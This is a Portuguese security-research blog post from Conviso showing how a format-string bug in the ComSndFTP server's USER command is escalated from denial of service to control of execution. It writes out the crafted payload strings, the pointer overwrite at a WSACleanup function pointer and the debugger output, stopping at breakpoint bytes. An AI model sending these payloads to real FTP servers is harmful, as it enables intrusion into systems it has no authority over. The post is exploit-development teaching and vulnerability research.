Suas aplicações são seguras?

Conheça a Conviso!

ComSndFTP – De “DoS” para execução remota de código

Checando algumas listas de conteúdo relacionados a segurança como de costume, me deparei com uma thread [1] onde é reportado um bug em um servidor FTP chamado ComSndFTP, o título da thread me chamou atenção basicamente pelo “Format String”, afinal não é comum ver este tipo de falha [2] nos dias de hoje. Lendo as informações publicadas não vi em nenhum momento que era possível a execução remota de código o que me motivou a pesquisar mais um pouco.

Do advisory original:

“It is possible for remote attackers to use USER command with any format string that will lead to a Denial Of Service flaw for the FTP service.”

Aqueles com alguma experiência com vulnerabilidades do tipo format string sabem que geralmente é possível obter execução de código, então decidi fazer o exercício de
transformar o “DoS” em Remote Code Execution. A primeira coisa a ser feita era forçar um 4-byte overwrite usando o especificador “%n”.

Mensagem enviada:

“USER ” + “%n” + “rn”

Resultado:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000004 ebx=77c31c6e ecx=0000000c edx=00033f63 esi=00e2e648 edi=00033f16
eip=77c42ac4 esp=00e2e600 ebp=00e2e86c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
msvcrt!_output+0x703:
77c42ac4 8908            mov     dword ptr [eax],ecx  ds:0023:00000004=???????

O “%n” escreve a quantidade de bytes escritos até o momento em um certo endereço, a quantidade de bytes é colocada no registrador ECX e o endereço em EAX, se conseguirmos controlar ambos, provavelmente alcançaremos nosso objetivo. Podemos controlar ECX forçando uma escrita de N bytes e para EAX podemos usar o especificador “%x” e fazer com que os dados do nosso buffer controlado seja usado como ponteiro.

Para um simples teste vamos tentar escrever 0x00444444 no endereço 0x41414141, para isso vamos usar o seguinte formato de mensagem:

[FTPCMD][PAD][PTR][FMT TO PUT 0x00444444 IN ECX][FMT TO REACH OUR PTR][PAD][FMT TO WRITE IN MEM][CRLF]

Mensagem enviada:

 

“USER ” + “padpad_” + “x41x41x41x41” + “%04473000x” + “%x” * 208 + “A” + “%n” + “rn”

 

Resultado:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=0000006e ecx=00444444 edx=0159446f esi=00dae648 edi=00035c1c
eip=77c42ac4 esp=00dae600 ebp=00dae86c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
msvcrt!_output+0x703:
77c42ac4 8908            mov     dword ptr [eax],ecx  ds:0023:41414141=????????

Como podemos ver conseguimos uma escrita controlada, o próximo passo agora é escolher os valores de EAX e ECX para conseguir a execução de código, a idéia é colocar o endereço do nosso shellcode em ECX e sobrescrever um valor apontado por EAX, se sobrescrevermos um ponteiro para uma função e este ponteiro for usado pela aplicação é bem provável a execução de código. Durante o desenvolvimento do exploit a melhor opção foi sobrescrever um ponteiro localizado no endereço 0x71AC4050, este ponteiro é usado toda vez que a função ws2_32!WSACleanup é chamada.

71ab400a ff155040ac71    call    dword ptr [WS2_32!WEP+0x1f33 (71ac4050)]

Mensagem enviada:

“USER ” + “padpad_” + “x50x40xACx71” + “%04473000x” + “%x” * 208 + “A%n” + “rn”

Resultado:

First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00dae938 ebx=00000000 ecx=00992c08 edx=00000000 esi=00000010 edi=00992c08
eip=00444444 esp=00dae92c ebp=00dae940 iopl=0         nv up ei ng nz ac pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010297
<Unloaded_ion.dll>+0x444443:
00444444 ??              ???

0:002> dd 71ac4050
71ac4050  00444444 00166bc8 0016a6c0 000032db
71ac4060  00000024 00166940 ffffffff 00000000
71ac4070  00000000 00000000 00000000 76fc0000
71ac4080  00000001 76fc11a0 71ab0000 00000001
71ac4090  00032508 00032508 00166908 ffffffff
71ac40a0  00000000 00000000 00000000 00000000
71ac40b0  00000009 00166978 ffffffff 00000000
71ac40c0  00000000 00000000 00000000 00000000

Conseguimos controlar o fluxo de execução da aplicação para um endereço de nossa escolha :), agora vamos tentar executar um simples payload, para este exemplo usamos apenas alguns bytes com valor 0xCC que quando executados funcionarão como breakpoints.

Mensagem enviada:

“USER ” + “padpad_” + “x50x40xACx71” + “%14346800x” + “%x” * 208 + “A%n” + “xCC” * 50 + “rn”

Resultado:

(be4.22c): Break instruction exception – code 80000003 (first chance)
eax=00c8c828 ebx=00000000 ecx=00992c08 edx=00000000 esi=00000010 edi=00992c08
eip=00daee1c esp=00dae92c ebp=00dae940 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
<Unloaded_ion.dll>+0xdaee1b:
00daee1c cc              int     3

O resultado acima deixa claro que é totalmente possível conseguir execução de código nesta vulnerabilidade, porém uma exploração completa, com shellcode “real” fica como exercício para aqueles que quiserem se aventurar :).

Gostaria de agradecer aos meus amigos do Corelan por interessantes discussões, principalmente Steven Seeley por ajudar durante o desenvolvimento do exploit [3] e aos meus colegas de trabalho pelos incentivos.

Ricardo Silva é pesquisador e responsável por projetos de Auditoria de Código na Conviso Application Security

[1] http://www.securityfocus.com/archive/1/523019/30/150/threaded
[2] https://www.owasp.org/index.php/Format_string_attack
[3] http://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/windows/ftp/comsnd_ftpd_fmtstr.rb

Originalmente postado no Blog da Conviso Application Security – Siga-nos no Twitter @conviso Google+

Tags

Um comentário

Deixe um comentário

topo
%d blogueiros gostam disto: